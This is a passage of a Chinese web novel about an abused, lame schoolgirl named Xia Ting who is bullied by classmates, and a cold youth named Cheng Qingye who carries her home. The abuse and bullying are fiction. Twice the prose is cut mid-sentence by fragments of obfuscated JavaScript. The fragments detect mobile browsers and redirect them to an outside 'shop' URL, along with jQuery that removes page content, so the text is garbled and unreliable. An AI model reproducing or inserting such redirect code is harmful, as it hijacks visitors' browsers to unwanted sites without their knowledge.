“我不去!”丁兰语气一转,带了点哭腔,“凭什么要去!姓程那小子一天到晚净惹事,丢了才好,要找回来,指不定带坏我们家星宇。再说了,那狗杂种又不是你的!” 啪—— 忍无可忍,一记耳光甩下。 “李岩庆你他爹的敢打我!” 丁兰发丝凌乱,眼底闪过一丝不可置信,眼前这个窝囊了半辈子的男人,竟然第一次为了个外姓人打她。 “丁兰你听好了,”李岩庆压着怒火,沉默寡言的他几乎很少动怒。丁兰是个骄纵的女人,有一大半都是他惯出来的,可是眼下他却冷漠得可怕,“没有阿塬他爹妈,我可能早就死了,做人要讲良心。” 丁兰呜咽地哭着,完全没有了平日里的嚣张气焰,却还是放不下脸面:“要找你去找,反正我不去!” 吱哑——门开的声音。 随后一道青涩的少年声音加入这场纷争:“爸,妈,你们别吵了,我去找,我去找青野哥,都是我这个做弟弟的不好,没日没夜学习,忙着冲刺高三,都没考虑到青野哥是我们家的客人,是我招待不周了……” 说着,李星宇垂下了自责的眼睫。 “李岩庆,你看看你,我们家星宇多懂事啊,跟那杂种完全不一样!孩子都高三了,本就一点都耽误不得,你还引狼入室,非得给家里添点麻烦!”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17481657|201778||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 说完,丁兰把脸一抹,哭得更伤心了。 女人尖锐的哭声在夜晚更加折磨人。 夏汀翻过身,试图用枕头捂住耳朵。许久未进食的肚子早已干瘪,发出咕咕的肠鸣声。喋喋不休的争吵让她更加心烦意乱,听着丁姨哀怨的哭声,她脑海里一闪而过程青野的面容。 她忽然想起,他的锁骨处,好像也有和她一样的淤青。 他好像,也是个被人丢来丢去的、寄人篱下的、没人要的累赘。 跟她一样。 - “卧槽!程哥,这操作牛逼啊!” 电脑屏幕上击杀特效闪出,蒋子涵目瞪口呆地惊叹。他卡了好久的关卡就这么被程青野轻易破了。 屏幕上的蓝色荧光淡淡散发,程青野卫衣帽拉到最高,五官隐匿在光影交错处。 他没什么情绪地拧开一听可乐呷了一口,伸手比了个数,音色很淡:“给钱。” “程哥……”蒋子涵虽然人傻钱多,但这段时间他成绩下滑得太厉害,他爸妈不乐意了,零花钱也给得没之前勤快了。蒋子涵挥霍无度,眼下又到月底了,难免有些捉襟见肘。 可转念一想,如果要找专业代打的话,肯定就不止这个价位了。如此想来,找程青野何尝又不是一种省钱的方式呢? 说起程青野,蒋子涵和他认识完全是偶然。 大概两个多月前,就在这家网吧,有一关他卡了两个多小时,最后心态爆炸,忍无可忍地发出雄狮般绝望的嘶吼。 程青野在他邻座,嫌他吵,踹他椅子,让他闭嘴。 蒋子涵欲哭无泪地抱头哀嚎:“哥们儿你不懂,这关卡太难了,我真没招了啊!” 程青野扫了眼他电脑屏幕,随手在键盘上按了几下,于是卡了蒋子涵两小时多的关卡就这么被程青野不费吹灰之力解开了。 蒋子涵大呼牛逼。从此以后就抱紧了这根大腿。 想到这,蒋子涵咬了咬牙,心服口服地掏出三百块钱,毕恭毕敬地呈在程青野面前的电脑桌上:“程哥,说好了,你下次还得帮我打啊。” 程青野斜睨他一眼,把钱丢回去:“蠢。” 蒋子涵见程青野没有真的要收他钱的意思,顿时喜笑颜开地收回钱,一边收一边还不忘念叨:“程哥大气,不过话又说回来了,你这技术真可以去打职业,你没想过吗?” 程青野没搭理他。 如果家里没出事的话,他组建的俱乐部现在应该已经拿下冠军了。 蒋子涵见程青野没搭理自己,也不恼。毕竟他程哥是真操作牛逼,人还仗义。就比如说,他之前总是被附近职校里的几个小混混纠缠勒索,好几次还挨了揍,脸上挂花了。他是个胆子小的,怕把事情闹大会更吃不了兜着走。 没想到程青野居然替他摆平了这件事。一个人硬生生把那七八个小痞子打服了,连着一个多星期都没来找过他麻烦。 职校跟一中只隔一条街,虽然那些人暂时消停了些,但蒋子涵总顾虑那几个人会重新来一中门口堵他。而且吃过一次瘪后,第二次处理起来说不定会更麻烦,毕竟那几个小痞子也不是吃素的。 想到这,蒋子涵突然把收回去的三百块钱重新拿出来,再次毕恭毕敬地呈到程青野面前的电脑桌上,说道:“那个……程哥,我能不能麻烦你点事……” “说。”程青野音色冷淡,言简意赅。 蒋子涵嘿嘿贱笑,谄媚道:“程哥,你这几天,能不能放学来一中门口等我下。这三百块钱,就当我孝敬给你买零食的。” “你是怕那几个人来找你麻烦吧?”程青野波澜不惊,一眼看破。 蒋子涵摊了摊手,直言道:“高盛上次被你打的那么惨,面子都丢完了。这件事本来没什么人知道的,谁知道我们班有个叫李星宇的,听说是跟高盛有点过节,那天恰好路过撞见这件事,后来这事儿就那么传开了。高盛丢了脸,下次肯定要弄死我。我听人说,他跟人放下狠话,说要找机会再给我点颜色瞧瞧。……这钱,程哥,你收着吧,你收着我才安心。” “你说什么?”程青野忽然看向他,重复了一遍,“李星宇?” “对啊,”蒋子涵扁扁嘴,“这丫成绩还可以,平日里看着文绉绉的一副闷骚样,实际上啊,蔫坏的很!” 荧幕上的蓝光暗淡下去,程青野冷峻的眉眼闪过一次晦暗。 脑海里一点一点浮现出,冷雨夜里,少女被他狠厉地抵在墙面上动弹不得,无助、苍白却又倔强的脸庞。 她潮红眼尾滑下的几颗固执的清泪。 以及,她一瘸一拐走在雨里纤瘦而倔强的背影。 心脏忽地被什么东西扎了一下。 看来,他似乎错怪了她。 4. 淤青 清早的时候又下了场雨。 空气里浸满潮湿,冷意侵袭,灌进鼻息里都是凉的,每一次呼吸都很不适应。 天还没完全亮,夏汀就出了门。 昨晚上左脸挨了夏冬明一鞋印,今早那里果然肿起来了,从内里透出些暗淡的青紫来。还肿成老高一块,在她白皙的脸上格外明显。 再加上丁兰一家闹哄,她这一整夜都没怎么睡好,头有些发晕,眼下的一小块皮肤印着薄薄一层阴翳。 街上早餐店开的倒是很早,刚出锅的肉包冒着窜天的热气。 阿婆们在街边卖菜和买菜,为了几块钱讨价还价,争得面红耳赤。几个吃早茶的大爷则在畅谈国际局势。人声鼎沸。 又窄又局促的小街只有在这种时刻才又重新灌满热络的烟火气。 夏汀背着书包,行动不太方便,只能侧身从几个阿嬷前经过。她看了一眼价目表,最后花两块钱要了一个肉包。 她咬下一口。厚厚的包子皮,完全看不到肉沫,噎人的慌。简直食之无味又弃之可惜。 但这包子毕竟花了钱,夏汀舍不得丢。 她一手捏着单词本记单词,一边没什么味道地把包子咽下去填肚子。 到达学校的时候,门卫大叔顶着个大肚腩,正捏着一串钥匙一幢一幢地开锁。 夏汀跛着脚往里走。 教室里没人,她是第一个到的。 教室昏黑,只有微弱又暗淡的天光。整整齐齐的课桌上都堆着高高的课本,宣示高三生高考逼近时无声的威压。 夏汀只开了教室最后一排的灯。 她的位置是最后一排最靠后门的那个。 后门的锁坏了,总是关不紧。这个位置几乎没人愿意坐,除了冬冷夏热以外,有人来回进出的话还会特别吵。 窗户上起着一层潮湿的水雾。树木繁茂的影子被压在窗户上,密不透风的,让人喘不过气。 夏汀放下书包后,就坐在位置上安静地记单词。 …… “困死我了!昨晚上补作业补到十二点,臭老王布置作业那是下了狠手啊!” “你都还算好了,我都没写完,完蛋了,今天又要被当沙包了……” “这几天是越来越冷了,每天都睡不醒啊!恨不得现在就高考结束,老娘要出去玩!” …… 学生陆陆续续抵达,教室里一点一点闹腾起来,后门被一阵阵推开,撞到墙壁发出沉闷的回弹。 几乎没人记得开门要轻手轻脚,也没人记得开门后要把门合回去。 思绪好几次被搅乱,夏汀索性捂住耳朵。 “好烦!沈嘉恒怎么那么冷淡哦,不想追了,好没劲。” 林佳琪提着一袋豆浆,用手肘抵开教室后门走进来。 沈心怡看她一眼,一脸了然:“你又不是第一天知道我表哥的脾性,他这人就这样,对谁都客客气气的。” 俩人一进门,就看见坐在门边的夏汀。 她今天少见地没把头发扎起来,过肩的黑发披在身后,衬得皮肤越加白皙,嘴巴一张一合,手捏着笔在纸上不停记着什么。教室里的嘈杂似乎都与她无关。就像一朵恬静又纯洁的百合花。 沈心怡意味不明地笑了声,意有所指地低声:“也不对,我表哥似乎对某人好像格外关照。” 林佳琪很快反应过来她在说谁。 她气氛地白了白眼,讥讽道:“沈嘉恒只是心好,怜悯残疾人罢了。” 她还特意加重了“残疾人”三个字眼。 话是这么说,但她心底嫉妒的火焰却被点燃。 林佳琪没多想就拎着那袋还没喝的热豆浆走到夏汀面前,装作不小心的样子洒了下去。 绵密的热豆浆像丝绸上流淌的断线珍珠。 夏汀被突如起来的豆浆浇了个正着。手腕处的校服瞬间湿透,热腾腾的液体贴着她的手肘。她惊呼一声,吃痛地从座位上跳起来。 与此同时,她头顶传来一声轻飘飘的道歉。 “不好意思啊,手滑了。” 她循着声音抬起头,就看见林佳琪扁着嘴,微笑着冲她道歉。 但那居高临下的笑容里却分明没有一点歉意,倒像是挑衅。一副“我就是故意的你能耐我何”的样子。 夏汀盯着她看了一会儿。左脸侧暗淡的淤青让她整张脸看起来有些营养不良。 林佳琪耐心告罄,摆摆手,嘁声道:“都说了不是故意的,你这么看着我干什么?谁让你坐在这里的。” 眼见局势变得焦灼,沈心怡这时候站出来充当和事佬了。她扯了扯林佳琪的袖子,说道:“琪琪,别跟她计较了,回位置上去,你看她一副楚楚可怜的委屈样子,不知道的还以为我们欺负她了呢。” 两人刚走没几步远。 沈心怡忽然又侧过头来,也同样笑着看向夏汀,关切道:“哦对了,夏同学,我前几天好像看见你的伞被丢在厕所里了诶,你去捡回来了吗?” 说完便忍不住掩唇笑起来。像分外嫌弃似的。 夏汀心知肚明,伞是她俩故意弄坏的。 热腾腾的豆浆很快干了,冷冷地黏在身上,因为加了糖的缘故,更是黏腻,根本没法用纸擦干净。夏汀擦了好几遍都没什么效果。 “夏汀。” 就在这时,忽有人轻叫了她一声。 紧接着,视野里出现一只骨节分明又好看的手。 那手递过来一包湿纸巾。 “用这个擦会好一点。” 声音澄澈而柔和。 夏汀放慢了擦拭的动作,迟钝地抬起头。 “灯都不开,怎么,替学校节约电费啊?” 不知是谁喊了一声,紧接着教室里的电灯一盏一盏亮起来。 像电影里的慢镜头一般,灯光一点一点穿透黑暗,把整个教室都照亮。 天光大亮。 沈嘉恒就那样出现在光里。 穿着板正的校服外套,内里套了件白色连帽卫衣。整个人看起来清清爽爽,温润又干净。 明明是最普通最平常的校服,穿在他身上却格外板正好看。 夏汀看着他,没来由地抿着唇,把头又低了下去。 她忽然觉得自己现在这个样子一定很不好看。像只自卑的小鹌鹑。 真奇怪。只有在见到沈嘉恒时,她才会格外注意起自己的样貌来。 “一直低着头干什么?”沈嘉恒轻笑了声,似是有些好笑,然后把那包湿巾放在她桌上。 在他靠近的那一瞬间,夏汀忽然闻见他身上淡淡的柑橘和皂香,像刚被阳光晒过一样,温暖柔软。 夏汀脸变得很烫。 “那我先去组织早读了。”沈嘉恒说道。 夏汀这才笨拙地说了个“谢谢”。 沈嘉恒笑笑。 夏汀缓缓抬起眼睛,只敢偷看一眼他挺括的背影。 早读的铃声叮铃铃地响起来。 冷质感的金属铃声回荡成背景音。 沈嘉恒已经从容地开始带读。 “都把英语书拿出来,翻到单词表……” 教室里的吵闹很快消歇,同学们都有序地把书翻开。 晨读声取代吵闹声。 夏汀慢吞吞地拿出书,然后把沈嘉恒送给她的湿巾塞进了口袋。 她没有用。 她舍不得用。 耳根忽然变得有些滚烫。 夏汀把书本立起来跟读,不知怎么的,心里却好像长了根一根挂满花苞的花藤。 风一吹,满花穗都在摇晃。 晃出藏不住的小雀跃。 - 放学前的最后一节课是物理课。 这几天天气不好,窗外总昏昏沉沉,暗的厉害。 再加上老王催人欲睡的口音,这节课变得格外漫长。 有好几个同学都发现在这种情况下,如果把上眼皮和下眼皮合起来的话,就会很舒服。 下课铃声敲响的时候,提前进入冬眠的同学们才缓缓苏醒过来。 “哎哟我去,老王催睡大法真是越来越熟练了!” “赞同,收拾收拾回家了,我妈说今天给我熬鸡汤喝……” “你还喝,肚子里半点墨水没有,倒是满肚子嘌呤!” …… 夏汀默默坐在位置上把老王刚讲过的最后一道物理大题订正好。 教室里渐渐空了。 下个星期国旗下讲话轮到一班,沈嘉恒被老王叫去了办公室。 林佳琪背上书包,挽着沈心怡路过夏汀的座位时,故意撞了她一下。 错题本上笔迹瞬间晕开一片。 “哎呀,我也是不小心的,没关系吧?” 林佳琪眨着眼睛,语气却微微上扬。 夏汀没再理她。 和林佳琪这样的人讲道理,简直是浪费时间的行为。越搭理她越起劲。 “好小气哦。”林佳琪挽着沈心怡的手,边往外走边嗔怪着小声道,“我听书上说,越自卑的人好像脾气越古怪。” 夏汀收拾课本的手一顿。 不过很快就又藏好情绪。 她背上书包走出教室。 放学时间段的校门口总是特别拥挤,路面挤满了各种车辆。 夏汀随着人潮走出校门。 护学警戒线外,站着等孩子的家长。 夏汀没朝他们看一眼。 因为夏冬明绝对不会出现在这些人群里。 记忆里,每次放学,她从来都是自己一个人走路回家的。 好在路也不远。 她对自己说。 虽然她的脚不方便,但基本上走个二十分钟也就能到家了。 “沈嘉恒怎么还不出来啊,老王也太烦了,不就是国旗下讲话嘛,用得着说那么老半天吗?”林佳琪不耐道,她站在校门口等了老半天,耐心都快磨完了,她刚想继续抱怨,一扭头却瞥见了刚走出校门的夏汀。 她表情瞬间冷下来,写满不高兴,“真晦气,又碰见这个哭丧脸。” 沈心怡也嫌弃地看了一眼夏汀,接过林佳琪还没说话的上一个话题,“你又不是不知道老王这个尿性,”她淡定道,“一句话的事情能交代老半天,我表哥又是他的爱徒,那不得逮着机会多说几句啊。” “那倒也是。”林佳琪不想看见夏汀那张令人不爽的脸,便闷闷不乐地别过目光。 她手上拎着一杯准备请沈嘉恒喝的奶茶,等了老半天,热奶茶的温度直线下降。 她无奈地叹了口气,“只是这奶茶都要凉了。” 天色阴沉,人潮涌动。校门口对面的马路边栽种着数排梧桐花树。 淡紫色的梧桐花沾满细雨,散发零零落落萎靡的香气。 林佳琪抬起头,突然发现人少的围栏处,站着一个个子极高的少年。 他没穿校服,随意套了件黑色帽衫。 额前的发细碎而张扬,目光写满倦怠和冷冽,兴致缺缺地扫过人群,看起来很不耐。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17481658|201778||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >可偏就是这样一副浑身上下写满生人勿进的冷脸,在人群中却格外出挑。 林佳琪不由得用手肘碰了碰沈心怡:“看那边。” “看什么?”沈心怡有点懵,但还是顺着林佳琪的话音偏过了头,看向马路对面。 淡紫色的梧桐花零零碎碎落了一地,阴天昏昏沉沉,风灌进袖口,掀动她的刘海。 刘海被风吹得止不住摇晃。 也就在这时,身后忽然有人大着嗓子对马路对面喊了一声:“程哥!看见你我真特别有安全感!” 闻言,马路那头的程青野懒散掀起眼皮看过来。 目光错过沈心怡,落在她身后的蒋子涵身上。 他冷冽又倦怠的眸子里没有其他的物事,完全是少年独有的轻狂。 沈心怡整颗心蓦地乱了节拍。 只剩下细细的风,灌进她紧绷又发烫的耳廓,撬动她本就起伏的心跳。 “程哥,我还担心你不来,颅内已经幻想了一千遍我被高盛暴揍的场景,呜呜呜,看到你真好!”蒋子涵冲到马路那头,恨不能一把抱住程青野,“我就知道你会来的!” 程青野把他的过分激情挡回去,“下次不来了。” “别呀!”蒋子涵吸了吸鼻子,欲哭无泪地窝囊道。 “心怡?心怡!心怡!!”林佳琪伸手在走神的沈心怡面前晃了晃。 “啊。”沈心怡才慢半拍地回过神来,迟钝地看向程青野。 他个子好高,浑身都透着股混不吝的慵懒劲儿。 和沈嘉恒这种板正又克己复礼的好学生完全不同。 可以说,她在见到程青野的第一面,就完全被他吸引住了。 “怎么样,帅不帅?”林佳琪悄咪咪凑近她耳边。 “嘘,你轻点。”沈心怡平日里大大咧咧惯了,眼下却不知怎么回事,被噤了声似的,硬是说不出一句话来,“还可以吧。” “我看你这样,可不像是还可以这么简单哦,”林佳琪笑道,“是挺帅的,感觉比沈嘉恒还要帅,不过他看着就脾气很大的样子,你看他脸多冷,吓死个人哦,我还是喜欢沈嘉恒。” 沈心怡已经听不进去任何话了。 只能本能地看向程青野。 “别装哭。”程青野冷淡地看着蒋子涵,面无表情道,“我走了。” “行行行!我不哭!程哥不让我哭,我就不哭!程哥你走慢点,我跟不上!”蒋子涵无所不用其极地谄媚道,“我请你喝奶茶去,程哥!” 沈心怡怔忪在原地,只一味呆呆盯着程青野。 “沈嘉恒出来了!”一旁的林佳琪捕捉到沈嘉恒出校门的身影,拍了拍沈心怡的手,“别傻站着了,跟我去送奶茶!” 她拽着魂不守舍的沈心怡的手,刚走两步,就见沈嘉恒像看见了谁似的,忽然加快了脚步。 她顺着沈嘉恒前进的方向看过去,是夏汀。 林佳琪脸上的笑容凝固。 “等一下,夏汀。”沈嘉恒叫住混在人群里的夏汀。 不知怎么回事,他似乎总能一眼就在人群里看见夏汀。 可能是因为她个子不高,再加上跛脚和营养不良的棕发,所以才会比较好认吧。 沈嘉恒想。 夏汀脚步停下。她很熟悉这个声音。 她转过身。 就看见沈嘉恒穿着校服,微笑着朝她走来。 “这个也给你。” 暗暗的天光里,他笑得很干净。 光风霁月一般的干净。 手心里突然一凉。 夏汀低头一看,是一管小小的药膏。 上面有各种外文字符,她看不懂。 沈嘉恒不好意思地笑笑:“这个对付跌打损伤特别有效果,我妈托人买的,”他用手指了指自己的脸,“你脸上的淤青可以用一下。” 夏汀脸庞一热。 不由自主地低下头,试图用头发遮挡住脸上的淤青。 她现在这个样子……一定很不好看吧。 “不小心磕的?”沈嘉恒关切地问了句。 但其实作为班长,夏汀家里的情况,他多多少少是了解的。 老王把他叫过去,聊了很多,也顺带着掺杂了几句夏汀。 沈嘉恒家境优越,没办法想象这世界居然还会有这样悲惨的家庭。 夏汀点点头,应了声“嗯”。脑海里却闪过镜子里那个红肿的鞋印。 “很贵吧,我不能要。”她试图把药膏还给沈嘉恒。 沈嘉恒愣了一下,然后很快道,“还剩下半截,我用不上了,丢掉也是可惜。” 这样啊。 丢掉确实很可惜。 夏汀这才答应。 “那我先走了,你回家路上也注意安全。”沈嘉恒道。 夏汀点头,说“好”。 手心里的药膏冰冰凉凉,可是心脏某个地方却在发热。 夏汀忍不住弯了弯唇角。 她捏着药膏,把药膏捏在手心里,抬起头准备走到马路另一头。 忽一抬头,却突然看见马路另一头一个高挑的身影。 程青野不知什么时候站在那里。 两个人的视线隔着交叠的人潮轻轻撞在一起。 她唇角微微抿着的笑意还没来得及收回。 程青野懒散单手插兜,刚刚发生的一切都被他收进眼底。 他第一次发现,原来某人这张苍白的死鱼脸居然会笑。 而且似乎,笑起来还挺好看。 5. 淤青 夏汀几乎是在她发现程青野在看她的第一时刻,就收回了笑意。 微微抿起的唇角立刻变回平直死板的直线。 看起来有些不近人情。 心底对于程青野的那点熟悉的恐惧感漫溢上来。 后脑撞到斑驳墙皮时生涩的疼痛在提醒着她——眼前这个人很危险。 要离他远一点。再远一点。 程青野面无表情,就这样眼睁睁看着她收回笑意。 忆及他误会她告状一事,程青野觉得她现在应当很怕自己。 这也是难免的事。 他本就不是个好脾气的主儿,再说因为和高盛打架这事儿,他跟丁兰之间的矛盾更加被激化了。所以在知道夏汀是告密者之后,他不可避免地带了点情绪。 可谁知道,告密的另有其人。 根本不是夏汀。也难怪她当时明明怕得那样厉害,还是固执地要替自己辩解。 程青野心里忽然挺不是滋味的。 但是吧,要让他向她低头认错,那也是不可能的事。 如此想来,他欠着她一次。 算了,以后有机会再还吧。 程青野忖度道。 “程哥,怎么不走啊。”蒋子涵疑惑道。 “走了。” 程青野没什么情绪地说。 害怕昨晚那样的事情再次发生,夏汀不敢离开人多的地方。 她怕程青野这样疯狂的人会对她做出更不利的事情。 虽然她不知道自己到底是哪里得罪了他。 但多一事总归不如少一事。 她目光逡巡着,似乎在寻找一个合适的逃脱机会。 没想到程青野居然就这么走了。 眼见程青野走了,她才舒了一口气。 正准备走,却忽然发现林佳琪和沈心怡不知何时冒出来,挡在了她身前。 刚落回去的心脏又不安地飘起来。 林佳琪手上的奶茶已经完全凉了。 凉的不能再凉了。彻底凉透。 她脸色格外难看,像笼着一层阴云。 目睹了喜欢的人给讨厌的人送温暖,她现在心情沮丧到了极点。忍住没当场发作已经算不错的了。 她冷着脸,低声对沈心怡说了两个字: “弄她。” …… 夏汀被拖进了一条没人的小巷子。 “你们要干什么!” 林佳琪状若未闻,阴沉着脸,三两下把早就凉透的奶茶撕开,尽数浇在夏汀的头顶。 黏腻的芋泥混着冰冷的液体,淌进夏汀的发丝。 眼眶瞬间被甜腻浸满,浸得她发疼。 睫毛一根根倒立着向外刺,很扎眼睛。 林佳琪目标明确,扒掉夏汀的外套后抖了抖,一下子就翻出了那支沈嘉恒送给她的药膏。 她拧开盖子,才发现,这药膏根本不是沈嘉恒说的用剩下的半截。 ——这是一管全新未开封的药膏。 分明就是沈嘉恒特意要送给夏汀、但又害怕她不好意思接受才找的借口。 林佳琪彻底被激怒,整个人都嫉妒得有些面目扭曲,连声线都变得有些失控的古怪: “行啊。夏汀你还真行,让沈嘉恒能为你做到这份上。” 她嫉妒的快要发疯了。 凭什么沈嘉恒对她总是一副冷冷淡淡、爱搭不理的样子?又凭什么对她讨厌的人却关怀备至? 她想不通。 天色阴阴沉沉,又快要下雨了。 夏汀整个头皮都在发麻,黏腻的奶茶小料残渣裹满她头发。 她没穿外套,单薄短袖下一双纤细的胳膊上满是淤青。控制不住地发抖。脸色苍白又吓人。 新伤加上旧伤,脸上的淤青透出些紫色来,一副病恹恹的样子,看上去像得了什么无药可医的大病。 林佳琪揪住她的头发使劲扯,又将她的胳膊扭出新的淤青。 沈心怡见林佳琪情绪上头,怕惹出麻烦来,最后是叫了几个伙伴,才一起把林佳琪拽走的。 于是不一会儿,寂静的小巷便只剩下夏汀一个人。 她只穿了一件薄薄的短袖,此刻正缩在角落,蜷着身子止不住发抖。 视线一整个被糊住,什么也看不清。 脸上又冷又热,绵密的奶茶小料紧绷绷地扯着她的面皮,她不知道自己有没有哭。 整颗脑袋都在剧痛,好像硬生生要被掀掉一样。 她摸着墙壁,挣扎着想要站起来,但却一点都使不上劲儿。最后脚一软,头磕到墙壁,摔昏了过去。 …… 程青野兴致缺缺地陷在电竞椅里。 黑色的帽檐遮住他大半张冷峻的脸。他指节曲起,随意轻点着键盘。 “我去!牛逼啊程哥!”boss爆破后装备掉了一地,蒋子涵边捡边忙不迭感叹,“来,再开一把!再开一把!我们趁热打铁!” 程青野键盘一推,不知怎么地,没了兴致:“不玩了。” “别介呀!程哥!我真求你了!”蒋子涵有点崩溃。 “出去放个风,”程青野从电竞椅上起身,回看蒋子涵一眼,“你自己加油。” 蒋子涵嘤嘤嘤地哭,哭得很恶心。 程青野长腿迈过一排排座机,暗淡的网咖里,他神情恹恹。 走到门口的时候正下着薄薄的一层雨。 冷风顺着他黑色的帽檐灌进来,把整件卫衣都吹得有些鼓。宽大的领口大喇喇地敞开,露出少年清瘦却又不失力量的锁骨。 岚县这边的气温比杭城要低得多,而且很爱下雨。 这是他来到岚县以来的最大感触。 程青野伸手扯上帽兜,沿着网咖后边儿的一条窄街打算回李岩庆家拿点东西。 他托蒋子涵找了个房子,不打算再寄人篱下了。 地面水坑聚着大小不一深深浅浅的水洼。他面无表情跨过。 鬼使神差地,他闯进一条死胡同。 程青野心叹一声撞邪。 他自认为方向感不错,从小到大似乎从没走错过什么路。 偏这一次闯进一条死胡同。 都怪这小县城的街道都长得太像了。清一色的白墙青瓦,清一色的墙皮斑驳。 他正要转身。忽然瞥见巷侧有一道肮脏的衣摆。 侧过身子,看见一个小小的、蜷缩在角落的影子。 看样子是个女孩。 她浑身上下都湿透了。 程青野没兴趣多管闲事,刚要走。 忽然记起这张脸似乎有点熟悉。 程青野皱了皱眉。 他走近探夏汀的鼻息: “喂,还活着不?” 夏汀已然昏死过去,苍白的脸侧嵌着一道骇人的淤青。 麻烦。 程青野没有多管闲事的癖好。 但却还记得自己欠着她一次。 来讨债的。 他腹诽道。 算了,就当是还她一次就好。从此以后两清,谁也不欠着谁。 他一边伸手拉住她,没费什么力气就将她掀了起来。 程青野后知后觉,愣了愣。 他没想到她会这么轻。轻得跟没骨头似的。 他仅用一只手就能轻易将她拎起来。 “站好,摔倒了不扶。” 她好小只。身上有点脏兮兮,脸上也是。 程青野有洁癖,架着夏汀让他离自己远一点。 夏汀被他架起来,意识不清,迷迷糊糊地被程青野带着往前走。 雨打在身上好冷。 有点像雪花。 她恍恍惚惚想起四岁那年的冬。 夏冬明是在那一年染上的赌瘾。 一沾上就一发不可收拾了。里里外外把家里能输的东西都输了个干净。 整个人也像换了个人似的,性格大变,脾气变得暴戾无常。 那个时候恰逢魏春雪又有了身孕,孕吐得厉害。 夏冬明不仅不体恤她,反而对她拳脚相加。 就这样,魏春雪流产了。 一个女人,小产完,正是最虚弱的时候。 但是没办法,日子总要过下去。 贫贱夫妻百事哀。没有钱是万万不能的。 魏春雪眼看着夏冬明靠不上,四岁的夏汀又还年幼,女儿每次仰脸盯着她的时候,眼睛里总是写满令人心疼的懂事。 她眼含热泪,摸摸夏汀的头,咬了咬牙,去附近的工地找了一份零工。 她这样瘦弱,却也能在生活的重担下,被迫扛起三百斤的水泥。 夏汀是个早慧的孩子,从小就学着懂事。 父亲夏冬明每次叫不三不四的朋友上门来打牌的时候,她就乖乖躲在自己的房间里,不往外迈一步。 直到某次她突然发起高烧来,浑身滚烫得像个热汤婆子。 魏春雪还在下着大雪的工地上卖力气。 夏冬明则叼着烟在客厅赌牌输钱。 夏汀嗓子被烧得快要冒烟。 她缩在小小潮湿的床褥上,小声朝着门外祈求:“爸爸,给我一点水……我想喝水……” “哈哈哈哈胡了!给钱给钱!” “操!怎么又是你赢!”夏冬明全然没听到卧室内夏汀的声音,他一心扑在牌局上,把烟一掐,气急败坏地推牌,说道,“再来再来,老子还就不信了!” 夏汀眼眶发红,连生理性吞咽都变得困难。 她勉强用小手撑住自己的身体,然后顺着高高的床沿,企图翻下来找水喝。 可她个子太小了,一不留神就从床上摔了下来。 小小的身子砸在冰冷又坚硬的地板上。剧痛瞬间攀附上她的尾椎骨,眼泪疼得瞬间溢满她的眼眶。 夏汀强忍住泪花,慢慢直起身来,晕头晃脑地往房门外走。 “碰!哈哈!” 屋外夏冬明正玩得热火朝天。 “爸爸,我……难受……”夏汀可怜兮兮地凑近他。 “一边儿去,没看见我正忙么!”夏冬明没好气地说。 烟灰顺着燃到尽头的烟尾砸落到毛呢大衣上,他不耐烦地掸了掸。 “哎,我瞧着你家这姑娘精神头不太对啊。”有个热心肠的大妈边抓牌边扫了一眼夏汀。 小姑娘发着高烧,脸早就被烧得红扑扑。 “杠上开花!” 下一秒,那大妈注意力又被拉回牌局。 只见夏冬明笑得合不拢嘴,嚷道,“给钱给钱!” 他丢了烟尾,心情转晴,捻 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醒来的时候整个世界都在旋转。她伏在魏春雪的背上,意识昏昏沉沉,整条左腿已经僵硬,只剩下往外抽动一般的疼痛。 魏春雪在背着她往医院走。 下雪了。簌簌的雪花落在魏春雪的背上。 她走得很急,带着喘息。 呼出来的热气在冷风里冒着白烟。 雪花落在魏春雪的头发上,她明明还那么年轻,发缝里却藏着好几簇白发。 夏汀伏在她背后,风好大,抽打在脸上好像刀割一样的疼。 她顺从得闭上眼睛,眼泪却透过眼皮止不住地流。 好冷啊。 好冷。 她忍不住张着开裂的嘴唇,小心翼翼地渴求:“妈妈,我好冷,好冷……” “不怕啊不怕啊小雨,妈妈在这……” 魏春雪听见声音,心疼地把夏汀放下抱在胸前,小心翼翼地护着她,怕冬雪沾湿了她。 她明明已经四岁了,个子却要比同龄人都小的多,小小的一个,抱在怀里。体温却越来越冰。 魏春雪喉间酸涩:“妈妈在这……小雨不要怕……” “妈妈……”夏汀呜呜咽咽地哭,小手环住魏春雪的脖颈,“我好冷……能不能抱紧我……” …… “你说什么?”程青野皱着眉。 夏汀意识昏沉,两段记忆重叠,仿佛又回到了四岁那年的冬天。 她眼睛被厚重又甜腻的奶茶液糊住了,睁不开。 眼泪却跟着止不住地流。 她嘴唇干涩,有些开裂,闭着眼睛喃喃道:“冷……” 程青野扯下外套罩在她身上,内里只剩下一件宽松的黑色短袖。 “别哭。” 属于程青野身上清浅的味道铺天盖地席卷而来。 他衣服好大,还带着他的体温。 夏汀被罩了个严严实实。 下着雨的地面湿滑,她半昏迷着,加上那条跛脚,走得很不顺畅。 几乎每走几步就要摔一次。 程青野嫌碍事。 最后无奈撇了撇嘴,用力一扯,也顾不上脏,就将夏汀背了起来。 他个高腿长,夏汀披着他的外套,两只脚都悬空起来。 独属于夏汀身上那阵女孩子温柔的清香拂过来。 浅浅的,有点像百合花的味道。 干净又温柔。 坚硬的后背突然抵上温软,程青野忽然有点不习惯。不由自主加大了步子。 他没背过人,更别说是女孩子了。 “冷……”夏汀伏在他后背,小声喃喃。 